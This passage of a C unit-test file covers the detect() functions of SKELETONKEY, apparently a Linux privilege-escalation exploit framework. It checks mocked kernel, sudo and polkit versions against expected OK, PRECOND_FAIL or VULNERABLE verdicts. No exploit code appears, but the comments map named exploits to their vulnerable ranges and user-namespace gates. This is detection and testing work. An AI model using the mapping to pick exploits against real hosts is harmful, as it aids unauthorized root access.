SKELETONKEY_PRECOND_FAIL);
/* fuse_legacy: vulnerable kernel + userns off → PRECOND_FAIL */
run_one("fuse_legacy: vuln kernel + userns=false → PRECOND_FAIL",
&fuse_legacy_module, &h_kernel_5_14_no_userns,
SKELETONKEY_PRECOND_FAIL);
/* cls_route4: vulnerable kernel + userns off → PRECOND_FAIL */
run_one("cls_route4: vuln kernel + userns=false → PRECOND_FAIL",
&cls_route4_module, &h_kernel_5_14_no_userns,
SKELETONKEY_PRECOND_FAIL);
/* overlayfs_setuid: vulnerable kernel (5.14, past the 5.11
* introduction and below every backport) + userns off
* PRECOND_FAIL via userns gate */
run_one("overlayfs_setuid: vuln kernel + userns=false → PRECOND_FAIL",
&overlayfs_setuid_module, &h_kernel_5_14_no_userns,
SKELETONKEY_PRECOND_FAIL);
/* ── above-fix coverage for the remaining kernel modules ──
* Kernel 6.12 is above every backport entry in the corpus.
* For modules with a `kernel_range` table, kernel_range_is_patched
* inherits via the "host is newer than every entry" branch and
* detect() returns OK. */
run_one("af_packet: kernel 6.12 above 4.11 fix → OK",
&af_packet_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("af_packet2: kernel 6.12 above 5.9 fix → OK",
&af_packet2_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("af_unix_gc: kernel 6.12 above 6.6-rc1 fix → OK",
&af_unix_gc_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("netfilter_xtcompat: kernel 6.12 above 5.12 fix → OK",
&netfilter_xtcompat_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("nft_set_uaf: kernel 6.12 above 6.4-rc4 fix → OK",
&nft_set_uaf_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("nft_fwd_dup: kernel 6.12 above 5.17 fix → OK",
&nft_fwd_dup_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("nft_payload: kernel 6.12 above 6.2-rc4 fix → OK",
&nft_payload_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("stackrot: kernel 6.12 above 6.4-rc4 fix → OK",
&stackrot_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("sequoia: kernel 6.12 above 5.13.4 fix → OK",
&sequoia_module, &h_kernel_6_12, SKELETONKEY_OK);
run_one("vmwgfx: kernel 6.12 above 6.3-rc6 fix → OK",
&vmwgfx_module, &h_kernel_6_12, SKELETONKEY_OK);
/* ── ancient-kernel predates coverage ────────────────────────
* Kernel 4.4 predates several module bugs introduced 5.x+. */
run_one("nft_set_uaf: kernel 4.4 predates 5.1 → OK",
&nft_set_uaf_module, &h_kernel_4_4, SKELETONKEY_OK);
run_one("stackrot: kernel 4.4 predates 6.1 → OK",
&stackrot_module, &h_kernel_4_4, SKELETONKEY_OK);
/* ── copy_fail_family bridge userns gate ─────────────────────
* The 4 dirty_frag siblings + the GCM variant all reach the
* bug via XFRM-ESP / AF_RXRPC paths gated on unprivileged
* user-namespace creation. Bridge-layer precondition fires
* before delegating to the inner DIRTYFAIL detect. copy_fail
* itself uses AF_ALG (no userns needed) and bypasses the
* gate its detect would proceed to the inner active probe. */
run_one("copy_fail_gcm: userns_allowed=false → PRECOND_FAIL",
&copy_fail_gcm_module, &h_kernel_5_14_no_userns,
SKELETONKEY_PRECOND_FAIL);
run_one("dirty_frag_esp: userns_allowed=false → PRECOND_FAIL",
&dirty_frag_esp_module, &h_kernel_5_14_no_userns,
SKELETONKEY_PRECOND_FAIL);
run_one("dirty_frag_esp6: userns_allowed=false → PRECOND_FAIL",
&dirty_frag_esp6_module, &h_kernel_5_14_no_userns,
SKELETONKEY_PRECOND_FAIL);
run_one("dirty_frag_rxrpc: userns_allowed=false → PRECOND_FAIL",
&dirty_frag_rxrpc_module, &h_kernel_5_14_no_userns,
SKELETONKEY_PRECOND_FAIL);
/* ── userspace version fingerprinting (sudo) ─────────────────
* Both sudo modules now consult ctx->host->sudo_version
* populated once at startup. */
/* sudo_samedit: vulnerable sudo 1.8.31 (range [1.8.2, 1.9.5p1])
* VULNERABLE by version */
run_one("sudo_samedit: sudo_version=1.8.31 → VULNERABLE",
&sudo_samedit_module, &h_vuln_sudo,
SKELETONKEY_VULNERABLE);
/* sudo_samedit: fixed sudo 1.9.13p1 (above 1.9.5p1) → OK */
run_one("sudo_samedit: sudo_version=1.9.13p1 → OK",
&sudo_samedit_module, &h_fixed_sudo,
SKELETONKEY_OK);
/* pwnkit: vulnerable polkit 0.105 (pre-0.121 fix) → VULNERABLE */
run_one("pwnkit: polkit_version=0.105 → VULNERABLE",
&pwnkit_module, &h_vuln_sudo,
SKELETONKEY_VULNERABLE);
/* pwnkit: fixed polkit 0.121 → OK */
run_one("pwnkit: polkit_version=0.121 → OK",
&pwnkit_module, &h_fixed_sudo,
SKELETONKEY_OK);
/* sudoedit_editor: vulnerable sudo 1.8.31 — but the test user
* has no sudoers grant in the CI container, so find_sudoedit_target
* fails and detect short-circuits to PRECOND_FAIL ("vulnerable
* version present, but no sudoedit grant to abuse"). That's the
* documented behaviour for a non-privileged user. */
run_one("sudoedit_editor: vuln version, no grant → PRECOND_FAIL",
&sudoedit_editor_module, &h_vuln_sudo,
SKELETONKEY_PRECOND_FAIL);
/* sudoedit_editor: fixed sudo 1.9.13p1 → OK regardless of grant */
run_one("sudoedit_editor: sudo_version=1.9.13p1 → OK",
&sudoedit_editor_module, &h_fixed_sudo,
SKELETONKEY_OK);
/* ── happy-path VULNERABLE coverage ──────────────────────────
* Vulnerable kernel + userns allowed reaches the VULNERABLE
* branch on modules whose detect() short-circuits there once
* both gates are satisfied. Tests the affirmative verdict
* path, not just precondition gates. */
run_one("nf_tables: vuln kernel 5.14 + userns ok → VULNERABLE",
&nf_tables_module, &h_kernel_5_14_userns_ok,
SKELETONKEY_VULNERABLE);
run_one("cls_route4: vuln kernel 5.14 + userns ok → VULNERABLE",
&cls_route4_module, &h_kernel_5_14_userns_ok,
SKELETONKEY_VULNERABLE);
run_one("nft_set_uaf: vuln kernel 5.14 + userns ok → VULNERABLE",
&nft_set_uaf_module, &h_kernel_5_14_userns_ok,
SKELETONKEY_VULNERABLE);
run_one("nft_fwd_dup: vuln kernel 5.14 + userns ok → VULNERABLE",
&nft_fwd_dup_module, &h_kernel_5_14_userns_ok,
SKELETONKEY_VULNERABLE);
run_one("nft_payload: vuln kernel 5.14 + userns ok → VULNERABLE",
&nft_payload_module, &h_kernel_5_14_userns_ok,
SKELETONKEY_VULNERABLE);
#else
fprintf(stderr, "[i] non-Linux platform: detect() bodies are stubbed; "
"tests skipped (would tautologically pass).\n");
#endif
}
int main(void)
{
fprintf(stderr, "=== SKELETONKEY detect() unit tests ===\n\n");
run_all();
fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
g_pass, g_fail);
return g_fail ? 1 : 0;
}